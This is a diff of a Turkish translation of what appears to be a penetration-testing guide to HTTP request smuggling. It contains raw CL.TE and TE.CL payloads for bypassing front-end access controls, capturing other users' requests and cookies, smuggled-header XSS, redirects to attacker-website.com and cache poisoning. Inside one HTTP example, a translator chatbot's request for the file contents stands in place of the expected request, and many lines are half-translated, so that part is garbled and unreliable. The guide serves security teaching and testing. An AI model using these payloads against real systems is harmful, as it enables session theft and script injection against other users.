+- **İstenmeyen Kullanıcı Etkisi:** Saldırınız başka bir kullanıcının isteğini (gönderdiğiniz "normal" isteğin dışındaki) etkilerse, bu saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli testler diğer kullanıcıları rahatsız edebileceği için temkinli olun.
 
 ## HTTP/1.1 pipelining artefaktları ile gerçek request smuggling'i ayırt etme
 
-Bağlantı yeniden kullanımı (keep-alive) ve pipelining, aynı soket üzerinde birden fazla istek gönderen test araçlarında kolayca "smuggling" yanılsamaları üretebilir. Zararsız istemci tarafı artefaktları ile gerçek sunucu tarafı desync'ini ayırt etmeyi öğrenin.
+Connection reuse (keep-alive) ve pipelining, aynı soket üzerinde birden çok istek gönderen test araçlarında kolayca "smuggling" yanılsamaları yaratabilir. Zararsız istemci tarafı artefaktlarını gerçek sunucu tarafı desync'den ayırmayı öğrenin.
 
-### Pipelining neden klasik false positive'lara yol açar
+### Neden pipelining klasik false positive'ler yaratır
 
-HTTP/1.1 tek bir TCP/TLS bağlantısını yeniden kullanır ve istekleri ile yanıtları aynı akışta birleştirir. Pipelining'de istemci birden fazla isteği art arda gönderir ve sıralı yanıtlar almayı bekler. Yaygın bir false-positive durumu, bozuk bir CL.0 tarzı payload'u tek bir bağlantıda iki kez yeniden göndermektir:
+HTTP/1.1 tek bir TCP/TLS bağlantısını yeniden kullanır ve aynı akışta istekleri ve yanıtları ardışık olarak birleştirir. Pipelining'de client birden fazla isteği arka arkaya gönderir ve sıralı yanıtlarla yetinir. Yaygın bir false-positive, tek bir bağlantıda CL.0 tarzı hatalı bir payload'ı iki kez yeniden göndermektir:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -342,7 +342,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Çevirmemi istediğiniz src/pentesting-web/http-request-smuggling/README.md dosyasının içeriğini gönderin.
+Lütfen src/pentesting-web/http-request-smuggling/README.md dosyasının içeriğini gönderin veya yapıştırın; ardından içindeki İngilizce metni belirttiğiniz kurallara uygun şekilde Türkçeye çevireyim.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -356,7 +356,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Eğer server hatalı `Content_Length`'i yok saydıysa, FE↔BE desync olmaz. Reuse durumunda, client aslında bu byte-stream'i gönderdi; server bunu iki bağımsız requests olarak parse etti:
+Eğer sunucu hatalı `Content_Length`'i yok saydıysa, FE↔BE desync oluşmaz. Reuse ile, istemcin aslında bu bayt akışını gönderdi; sunucu bunu iki bağımsız istek olarak ayrıştırdı:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -370,53 +370,56 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Impact: none. You just desynced your client from the server framing.
+Impact: yok. İstemcinizi sunucunun çerçevelendirmesinden desenkronize ettiniz.
 
 > [!TIP]
-> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
+> reuse/pipelining'e bağlı Burp modülleri: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
 
-### Litmus tests: pipelining or real desync?
+### Litmus testleri: pipelining mi yoksa gerçek desync mı?
 
 1. Disable reuse and re-test
-- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
+- Burp Intruder/Repeater'da HTTP/1 reuse'u kapatın ve "Send group in sequence" kullanmaktan kaçının.
-- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
+- Turbo Intruder'da `requestsPerConnection=1` ve `pipeline=False` ayarlayın.
-- If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
+- Davranış kayboluyorsa, muhtemelen istemci tarafı pipelining idi; bağlantı‑kilitli/stateful hedeflerle veya istemci tarafı desync ile uğraşmıyorsanız.
+
 2. HTTP/2 nested-response check
-- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
+- Bir HTTP/2 isteği gönderin. Eğer yanıt gövdesi tam bir nested HTTP/1 yanıtı içeriyorsa, saf bir istemci artefaktı yerine backend parsing/desync hatasını kanıtlamış olursunuz.
+
 3. Partial-requests probe for connection-locked front-ends
-- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
+- Bazı FE'ler sadece istemci kendi bağlantısını yeniden kullandıysa upstream BE bağlantısını yeniden kullanır. FE davranışını, istemci yeniden kullanımını yansıtan şekilde tespit etmek için partial-requests kullanın.
-- See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.
+- Connection‑locked tekniği için PortSwigger "Browser‑Powered Desync Attacks"e bakın.
+
 4. State probes
-- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
+- Aynı TCP bağlantısında ilk istek ile sonraki istekler arasındaki farklara (first-request routing/validation) bakın.
-- Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
+- Burp "HTTP Request Smuggler" bunun otomasyonunu yapan bir connection‑state probe içerir.
+
 5. Visualize the wire
-- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
+- Yeniden kullanım ve partial requests ile denemeler yaparken birleştirme ve mesaj çerçevelendirmeyi doğrudan incelemek için Burp "HTTP Hacker" uzantısını kullanın.
 
 ### Connection‑locked request smuggling (reuse-required)
 
-Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
+Bazı front‑end'ler upstream bağlantısını ancak istemci kendi bağlantısını yeniden kullandıysa yeniden kullanır. Gerçek smuggling mevcut olabilir ama istemci tarafı yeniden kullanıma bağlıdır. Ayırmak ve etkiyi kanıtlamak için:
-- Prove the server-side bug
+- Sunucu tarafı hatasını kanıtlayın
-- Use the HTTP/2 nested-response check, or
+- HTTP/2 nested-response check kullanın, veya
-- Use partial-requests to show the FE only reuses upstream when the client does.
+- FE'nin upstream'i sadece istemci yeniden kullandığında yeniden kullandığını göstermek için partial-requests kullanın.
-- Show real impact even if direct cross-user socket abuse is blocked:
+- Doğrudan kullanıcılar arası socket kötüye kullanımı engellense bile gerçek etkiyi gösterin:
-- Cache poisoning: desync aracılığıyla paylaşılan cache'leri zehirleyin, böylece responses diğer kullanıcıları etkiler.
+  - Cache poisoning: desync aracılığıyla paylaşılan cache'leri zehirleyin, böylece yanıtlar diğer kullanıcıları etkiler.
-- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
+  - Internal header disclosure: FE tarafından enjekte edilen header'ları yansıtın (ör. auth/trust header'ları) ve auth bypass'a pivot yapın.
-- Bypass FE controls: smuggle restricted paths/methods past the front-end.
+  - Bypass FE controls: smuggle edilerek kısıtlı path/method'ları front-end'in önünden geçirin.
-- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
+  - Host-header abuse: host yönlendirme tuhaflıkları ile kombinleyip iç vhost'lara pivot yapın.
-- Operator workflow
+- Operatör iş akışı
-- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
+  - Kontrollü yeniden kullanım ile yeniden üretin (Turbo Intruder `requestsPerConnection=2`, veya Burp Repeater sekme grubunda → "Send group in sequence (single connection)").
-- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
+  - Sonra cache/header-leak/control-bypass primitive'lerine zincirleyin ve kullanıcılar arası veya yetkilendirme etkisini gösterin.
 
 > See also connection‑state attacks, which are closely related but not technically smuggling:
 >
 >{{#ref}}
 >../http-connection-request-smuggling.md
->
+>{{#endref}}
-{{#endref}}
 
 ### Client‑side desync constraints
 
-If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
+Eğer hedefiniz browser-powered/client-side desync ise, kötü amaçlı istek bir tarayıcı tarafından cross-origin olarak gönderilebilir olmalı. Header obfuscation numaraları işe yaramaz. Navigation/fetch yoluyla ulaşılabilecek primitive'lere odaklanın, sonra downstream bileşenler yanıtları yansıtıyor veya cache'liyorsa cache poisoning, header disclosure veya front-end kontrol bypass'a pivot yapın.
 
 For background and end-to-end workflows:
 
@@ -426,21 +429,21 @@ browser-http-request-smuggling.md
 
 ### Tooling to help decide
 
-- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
+- HTTP Hacker (Burp BApp Store): düşük seviyeli HTTP davranışını ve socket birleştirmeyi ortaya çıkarır.
 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
-- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
+- Turbo Intruder: `requestsPerConnection` ile bağlantı yeniden kullanımı üzerinde hassas kontrol sağlar.
-- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
+- Burp HTTP Request Smuggler: first‑request yönlendirme/validasyonunu tespit eden bir connection‑state probe içerir.
 
 > [!NOTE]
-> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
+> Yalnızca reuse'e bağlı etkileri, sunucu tarafı desync'i kanıtlayıp somut bir etki (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, vb.) ekleyemedikçe önemsiz olarak değerlendirin.
 
 ## Abusing HTTP Request Smuggling
 
 ### Circumventing Front-End Security via HTTP Request Smuggling
 
-Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
+Bazen front‑end proxy'ler gelen istekleri inceleyip güvenlik önlemleri uygular. Ancak bu önlemler HTTP Request Smuggling istismarıyla aşılabilir ve yetkisiz erişime izin verebilir. Örneğin, `/admin`'e erişim dışarıdan engelleniyor olabilir; front‑end proxy böyle girişimleri aktif olarak bloke eder. Yine de bu proxy, smuggled bir HTTP isteği içindeki gömülü istekleri incelemeyi ihmal edebilir ve bu kısıtlamaları atlamak için bir açıklık bırakabilir.
 
-Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
+Aşağıdaki örnekler, HTTP Request Smuggling kullanılarak front‑end güvenlik kontrollerinin nasıl atlanabileceğini, özellikle front‑end proxy tarafından genellikle korunan `/admin` path'ine nasıl hedeflenebileceğini gösterir:
 
 **CL.TE Example**
 ```
@@ -459,9 +462,9 @@ Content-Length: 10
 
 x=
 ```
-CL.TE saldırısında, ilk istek için `Content-Length` başlığı kullanılırken, sonraki gömülü istek `Transfer-Encoding: chunked` başlığını kullanır. front-end proxy ilk `POST` isteğini işler ancak gömülü `GET /admin` isteğini incelemez; bu `/admin` yoluna yetkisiz erişime izin verir.
+CL.TE saldırısında, ilk istek için `Content-Length` header kullanılırken, sonraki gömülü istek `Transfer-Encoding: chunked` header'ını kullanır. front-end proxy ilk `POST` isteğini işler ancak gömülü `GET /admin` isteğini inceleyemez; bu da `/admin` yoluna yetkisiz erişime izin verir.
 
-**TE.CL Örneği**
+**TE.CL Örnek**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@@ -477,13 +480,13 @@ a=x
 0
 
 ```
-Tersine, TE.CL saldırısında başlangıçtaki `POST` isteği `Transfer-Encoding: chunked` kullanır ve ardından gömülü istek `Content-Length` başlığına göre işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy gizlenmiş `GET /admin` isteğini gözden kaçırır ve kazara sınırlı `/admin` yoluna erişim sağlar.
+Tam tersine, TE.CL saldırısında ilk `POST` isteği `Transfer-Encoding: chunked` kullanır ve daha sonra gömülü istek `Content-Length` başlığına göre işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy gizlenmiş `GET /admin` isteğini görmezden gelir ve istemeden kısıtlı `/admin` yoluna erişim sağlar.
 
 ### Ön uç istek yeniden yazımını ortaya çıkarma <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
-Uygulamalar genellikle gelen istekleri arka uç sunucusuna iletmeden önce değiştirmek için bir **ön uç sunucusu** kullanır. Tipik bir değişiklik, istemcinin IP adresini arka uca iletmek için `X-Forwarded-For: <IP of the client>` gibi başlıklar eklemeyi içerir. Bu değişiklikleri anlamak hayati olabilir; çünkü bu, **korumaları atlatma** veya **gizlenmiş bilgileri veya uç noktaları açığa çıkarma** yollarını ortaya çıkarabilir.
+Uygulamalar genellikle gelen istekleri arka uç sunucusuna iletmeden önce değiştirmek için bir **ön uç sunucusu** kullanır. Tipik bir değişiklik, istemcinin IP'sini arka uca iletmek için `X-Forwarded-For: <IP of the client>` gibi başlıkların eklenmesini içerir. Bu değişiklikleri anlamak kritik olabilir; çünkü bu, **korumaları atlama** veya **gizli bilgileri ya da uç noktaları ortaya çıkarma** yollarını açabilir.
 
-Bir proxy'nin isteği nasıl değiştirdiğini incelemek için, arka uç sunucusunun yanıtında geri döndürdüğü bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak aşağıdakine benzer bir istek oluşturun:
+Bir proxy'nin bir isteği nasıl değiştirdiğini incelemek için, arka ucun yanıtında yansıttığı bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak aşağıdakine benzer bir istek oluşturun:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -500,17 +503,17 @@ Content-Length: 100
 
 search=
 ```
-Bu yapıda, sonraki istek bileşenleri `search=` sonrasına eklenir; bu parametre yanıt içinde yansıtılır. Bu yansıtma sonraki isteğin headers'larını açığa çıkaracaktır.
+Bu yapıda, sonraki istek bileşenleri `search=` sonrasında eklenir; bu parametre yanıt içinde yansıtılır. Bu yansıtma, sonraki isteğin headers'larını ortaya çıkaracaktır.
 
-İç içe geçen isteğin `Content-Length` header'ını gerçek içerik uzunluğuyla hizalamak önemlidir. Küçük bir değerle başlayıp kademeli olarak artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi kısaltırken, çok yüksek bir değer isteğin hata vermesine neden olabilir.
+İç içe isteğin `Content-Length` header'ını gerçek içerik uzunluğuyla hizalamak önemlidir. Küçük bir değerle başlayıp kademeli olarak artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi kısaltırken, çok yüksek bir değer isteğin hata vermesine neden olabilir.
 
-Bu teknik TE.CL vulnerability bağlamında da uygulanabilir, ancak isteğin `search=\r\n0` ile sonlanması gerekir. Yeni satır karakterleri ne olursa olsun, değerler search parametresine eklenecektir.
+Bu teknik TE.CL zafiyeti bağlamında da uygulanabilir, ancak istek `search=\r\n0` ile sonlanmalıdır. Yeni satır karakterlerine bakılmaksızın, değerler search parametresine eklenecektir.
 
-Bu yöntem esasen front-end proxy tarafından yapılan istek değişikliklerini anlamaya yarar; özünde kendi kendine yapılan bir inceleme gerçekleştirir.
+Bu yöntem öncelikle front-end proxy tarafından yapılan istek değişikliklerini anlamaya yarar; özünde kendi kendine yapılan bir incelemedir.
 
-### Diğer kullanıcıların isteklerini yakalama <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
 
-Bir POST işlemi sırasında belirli bir isteği bir parametrenin değeri olarak ekleyerek bir sonraki kullanıcının isteklerini yakalamak mümkündür. Bunun nasıl yapılabileceği şöyle:
+Bir POST işlemi sırasında bir parametrenin değeri olarak özel bir istek ekleyerek, sonraki kullanıcının isteklerini yakalamak mümkündür. Bunu şu şekilde gerçekleştirebilirsiniz:
 
 Aşağıdaki isteği bir parametrenin değeri olarak ekleyerek, sonraki istemcinin isteğini depolayabilirsiniz:
 ```
@@ -532,20 +535,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
 
 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-Bu senaryoda, **yorum parametresi** halka açık bir sayfada bir gönderinin yorum bölümünün içeriğini depolamak için tasarlanmıştır. Sonuç olarak, sonraki isteğin içeriği bir yorum olarak görünecektir.
+Bu senaryoda, **yorum parametresi** halka açık bir sayfadaki bir gönderinin yorum bölümündeki içeriği saklamak için tasarlanmıştır. Sonuç olarak, sonraki isteğin içeriği yorum olarak görünecektir.
 
-Ancak bu tekniğin sınırlamaları vardır. Genellikle, smuggled request içinde kullanılan parametre ayırıcıya kadar olan veriyi yakalar. URL-encoded form gönderimlerinde, bu ayırıcı `&` karakteridir. Bu, kurban kullanıcının isteğinden yakalanan içeriğin ilk `&` karakterinde (bu karakter sorgu dizesinin bir parçası bile olabilir) sona ereceği anlamına gelir.
+Ancak bu tekniğin sınırlamaları vardır. Genel olarak, sadece smuggled request'te kullanılan parametre ayırıcıya kadar olan veriyi yakalar. URL-encoded form gönderimlerinde bu ayırıcı `&` karakteridir. Bu, hedef kullanıcının isteğinden yakalanan içeriğin ilk `&`'te duracağı anlamına gelir; bu `&` sorgu stringinin bir parçası bile olabilir.
 
-Ayrıca, bu yaklaşımın TE.CL açığı olan durumlarda da uygulanabilir olduğunu belirtmek gerekir. Bu tür durumlarda, istek `search=\r\n0` ile bitmelidir. Yeni satır karakterlerinden bağımsız olarak, değerler search parametresine eklenecektir.
+Ayrıca, bu yaklaşımın TE.CL zafiyetiyle de işe yaradığını belirtmek gerekir. Bu durumda istek `search=\r\n0` ile bitmelidir. Yeni satır karakterleri ne olursa olsun, değerler search parametresine eklenecektir.
 
-### Reflected XSS'i exploit etmek için HTTP request smuggling kullanma
+### HTTP request smuggling kullanarak Reflected XSS'i suistimal etmek
 
-HTTP Request Smuggling, **Reflected XSS**'e karşı savunmasız web sayfalarını exploit etmek için kullanılabilir ve önemli avantajlar sağlar:
+HTTP Request Smuggling, **Reflected XSS**'e duyarlı web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:
 
 - Hedef kullanıcılarla etkileşim **gerekmez**.
-- XSS'in normalde ulaşılamayan kısımlarında, örneğin HTTP request headers gibi, exploit edilmesine izin verir.
+- Normalde **ulaşılamayan** kısımlarda, örneğin HTTP request headers gibi, XSS'in suistimal edilmesine olanak tanır.
 
-User-Agent header aracılığıyla Reflected XSS'e duyarlı bir web sitesi durumunda, aşağıdaki payload bu açığın nasıl exploit edileceğini gösterir:
+Bir web sitesi User-Agent header üzerinden Reflected XSS'e duyarlıysa, aşağıdaki payload bu zafiyeti nasıl suistimal edeceğinizi gösterir:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@@ -566,26 +569,26 @@ Content-Type: application/x-www-form-urlencoded
 
 A=
 ```
-This payload, zafiyeti şu şekilde istismar etmek üzere yapılandırılmıştır:
+This payload, zafiyeti şu şekilde sömürmek için yapılandırılmıştır:
 
-1. İlk olarak tipik görünen bir `POST` isteği başlatılır; smuggling'in başladığını belirtmek için `Transfer-Encoding: chunked` başlığı kullanılır.
+1. Görünüşte tipik bir `POST` isteği başlatarak, smuggling'in başladığını belirtmek için `Transfer-Encoding: chunked` başlığıyla.
-2. Ardından chunked mesaj gövdesinin sonunu işaret eden bir `0` gönderilir.
+2. Bir `0` ile takip ederek, chunked mesaj gövdesinin sonunu işaretler.
-3. Daha sonra, içine bir betik enjekte edilen `User-Agent` başlığı bulunan smuggled bir `GET` isteği tanıtılır: `<script>alert(1)</script>`. Sunucu bu sonraki isteği işlediğinde XSS tetiklenir.
+3. Sonra, smuggled `GET` isteği eklenir; burada `User-Agent` başlığı bir script ile enjekte edilir, `<script>alert(1)</script>`, sunucu bu sonraki isteği işlediğinde XSS'i tetikler.
 
-`User-Agent`'ı smuggling yoluyla manipüle ederek, payload normal istek kısıtlamalarını atlatır ve böylece Reflected XSS zafiyetini standart olmayan ama etkili bir şekilde istismar eder.
+`User-Agent`'ı smuggling yoluyla manipüle ederek, payload normal istek kısıtlamalarını atlar ve böylece Reflected XSS zafiyetini standart dışı ama etkili bir şekilde sömürür.
 
 #### HTTP/0.9
 
 > [!CAUTION]
-> Kullanıcı içeriği, **`text/plain`** gibi bir **`Content-type`** ile yanıt içinde yansıtılırsa XSS'in yürütülmesi engellenir. Eğer sunucu **HTTP/0.9**'ı destekliyorsa bunu atlatmak mümkün olabilir!
+> Eğer kullanıcı içeriği, XSS'in çalışmasını engelleyen bir **`Content-type`** örneğin **`text/plain`** ile yanıt içinde yansıtılıyorsa, bu durumda XSS engellenir. Eğer sunucu **HTTP/0.9**'ı destekliyorsa, **bu muhtemelen atlatılabilir**!
 
-HTTP/0.9 sürümü 1.0'dan önceydi ve yalnızca **GET** metodunu kullanır ve **headers** ile yanıt vermez, sadece body ile yanıt verir.
+HTTP/0.9 sürümü 1.0'dan önce geliyordu ve sadece **GET** verb'lerini kullanır; **doesn’t** **headers** ile yanıt vermez, sadece **body** döner.
 
-In [**this writeup**](https://mizu.re/post/twisty-python), bu durum request smuggling ile ve kullanıcının girdisini yanıt olarak döndürecek bir zayıf endpoint kullanılarak suistimal edildi; smuggle edilen HTTP/0.9 isteğinde yansıtılacak parametre **fake HTTP/1.1 response (with headers and body)** içeriyordu, bu yüzden yanıt `Content-Type`'ı `text/html` olan geçerli çalıştırılabilir JS kodu içeriyordu.
+In [**this writeup**](https://mizu.re/post/twisty-python), bu durum request smuggling ile kötüye kullanıldı ve HTTP/0.9 ile bir istek smuggle etmek için kullanıcının girdisini yanıt olarak döndürecek **zafiyetli bir endpoint** kullanıldı. Yanıtta yansıtılacak parametre, içinde **fake HTTP/1.1 response (with headers and body)** bulunan bir içerikti; bu sayede yanıt, `Content-Type`'ı `text/html` olan geçerli çalıştırılabilir JS kodu içerecek şekilde oluştu.
 
-### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Site İçi Yönlendirmeleri HTTP Request Smuggling ile Sömürme <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
-Uygulamalar sıklıkla bir URL'den diğerine yönlendirirken redirect URL'sinde hostname olarak `Host` header'ını kullanır. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, sonu slash ile bitmeyen bir klasör isteği, slash eklemek için bir yönlendirme ile sonuçlanır:
+Uygulamalar genellikle bir URL'den diğerine yönlendirirken redirect URL'sinde hostname olarak `Host` başlığını kullanır. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, sonuna eğik çizgi olmayan bir klasör isteği, eğik çizgiyi eklemek için bir yönlendirme ile sonuçlanır:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
@@ -595,7 +598,7 @@ Sonuçlar:
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Görünüşte zararsız olsa da, bu davranış HTTP request smuggling kullanılarak kullanıcıları harici bir siteye yönlendirmek için manipüle edilebilir. Örneğin:
+Görünüşte zararsız olsa da, bu davranış HTTP request smuggling kullanılarak kullanıcıların harici bir siteye yönlendirilmesi için istismar edilebilir. Örneğin:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -609,7 +612,7 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Bu smuggled request, işlenen bir sonraki kullanıcı isteğinin saldırgan tarafından kontrol edilen bir web sitesine yönlendirilmesine neden olabilir:
+Bu smuggled request, işlenen bir sonraki kullanıcı isteğinin saldırganın kontrolündeki bir web sitesine yönlendirilmesine yol açabilir:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
@@ -621,17 +624,17 @@ Sonuçlar:
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-Bu senaryoda, bir kullanıcının bir JavaScript dosyası isteği ele geçirilir. Saldırgan, yanıt olarak kötü amaçlı JavaScript sunarak kullanıcıyı potansiyel olarak compromize edebilir.
+Bu senaryoda, bir kullanıcının JavaScript dosyası isteği ele geçiriliyor. Saldırgan, yanıt olarak kötü amaçlı JavaScript sunarak kullanıcıyı potansiyel olarak ele geçirebilir.
 
-### HTTP Request Smuggling ile Web Cache Poisoning'in istismarı <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Web cache poisoning, herhangi bir bileşenin **front-end infrastructure caches content**, genellikle performansı artırmak için, olması durumunda gerçekleştirilebilir. Sunucunun yanıtını manipüle ederek **poison the cache** mümkün olur.
+Web cache poisoning, herhangi bir bileşenin **front-end altyapısında içerik önbelleklemesi** yapması durumunda, genellikle performansı artırmak amacıyla gerçekleştirilebilir. Sunucunun yanıtını manipüle ederek **poison the cache** mümkün hale getirilebilir.
 
-Daha önce, sunucu yanıtlarının 404 hatası döndürecek şekilde nasıl değiştirilebileceğini gördük (refer to [Basic Examples](#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` isteğine `/index.html` içeriği döndürecek şekilde kandırmak mümkündür. Sonuç olarak, `/static/include.js` içeriği önbellekte `/index.html` ile değiştirilir ve `/static/include.js` kullanıcılar için erişilemez hale gelir; bu da potansiyel olarak bir Denial of Service (DoS) durumuna yol açabilir.
+Daha önce, sunucu yanıtlarının nasıl değiştirilerek 404 hatası döndürülebileceğini gözlemlemiştik (bkz. [Basic Examples](#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` isteğine yanıt olarak `/index.html` içeriği göndermeye kandırmak mümkündür. Sonuç olarak, `/static/include.js` içeriği önbellekte `/index.html` içeriği ile değiştirilir; bu da `/static/include.js`'in kullanıcılara erişilemez hale gelmesine ve potansiyel olarak bir Denial of Service (DoS) durumuna yol açmasına neden olur.
 
-Bu teknik, bir **Open Redirect vulnerability** bulunduğunda veya bir **on-site redirect to an open redirect** olduğunda özellikle etkili hale gelir. Bu tür zafiyetler, önbellekteki `/static/include.js` içeriğinin saldırganın kontrolündeki bir script ile değiştirilmesi için kullanılabilir; bu da güncellenmiş `/static/include.js`'i isteyen tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısı gerçekleştirilmesini sağlar.
+Bu teknik, bir **Open Redirect vulnerability** keşfedildiğinde veya **on-site redirect to an open redirect** söz konusu olduğunda özellikle etkili hale gelir. Bu tür açıklıklar, önbellekteki `/static/include.js` içeriğini saldırganın kontrolündeki bir betik ile değiştirmek için suistimal edilebilir ve böylece güncellenmiş `/static/include.js`'i isteyen tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısına olanak sağlar.
 
-Aşağıda, **cache poisoning combined with an on-site redirect to open redirect** kullanımının bir örneği gösterilmektedir. Amaç, önbellekteki `/static/include.js` içeriğini saldırganın kontrolündeki JavaScript kodunu sunacak şekilde değiştirmektir:
+Aşağıda, **cache poisoning combined with an on-site redirect to open redirect**'ın suistimal edilmesine dair bir örnek verilmiştir. Amaç, önbellekteki `/static/include.js` içeriğini saldırganın kontrolündeki JavaScript kodunu sunacak şekilde değiştirmektir:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@@ -649,20 +652,20 @@ Content-Length: 10
 
 x=1
 ```
-Gömülü isteğin `/post/next?postId=3`'e yöneldiğine dikkat edin. Bu istek, alan adını belirlemek için **Host header value** kullanılarak `/post?postId=4`'e yönlendirilecek. Saldırgan, **Host header**'ı değiştirerek isteği kendi alan adına yönlendirebilir (**on-site redirect to open redirect**).
+`/post/next?postId=3` hedefleyen gömülü isteğe dikkat edin. Bu istek, domaini belirlemek için **Host header value** kullanılarak `/post?postId=4`'e yönlendirilecek. **Host header**'ı değiştirerek saldırgan isteği kendi domainine (**on-site redirect to open redirect**) yönlendirebilir.
 
-Başarılı bir **socket poisoning**'den sonra, `/static/include.js` için bir **GET request** başlatılmalıdır. Bu istek, önceki **on-site redirect to open redirect** isteği tarafından kirletilecek ve saldırganın kontrolündeki script'in içeriğini alacaktır.
+Başarılı bir **socket poisoning**'den sonra, `/static/include.js` için bir **GET request** başlatılmalıdır. Bu istek, önceki **on-site redirect to open redirect** isteği tarafından kirletilecek ve saldırganın kontrol ettiği script'in içeriğini getirecektir.
 
-Ardından, `/static/include.js` için yapılacak her istek saldırganın script'inin önbelleğe alınmış içeriğini sunacak ve bu da geniş çaplı bir XSS saldırısını etkili şekilde başlatacaktır.
+Bundan sonra, `/static/include.js` için yapılacak herhangi bir istek, saldırganın script'inin önbelleğe alınmış içeriğini sunacak ve böylece geniş kapsamlı bir XSS saldırısı başlatılacaktır.
 
-### HTTP request smuggling kullanarak web cache deception gerçekleştirme <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
 
 > **web cache poisoning ile web cache deception arasındaki fark nedir?**
 >
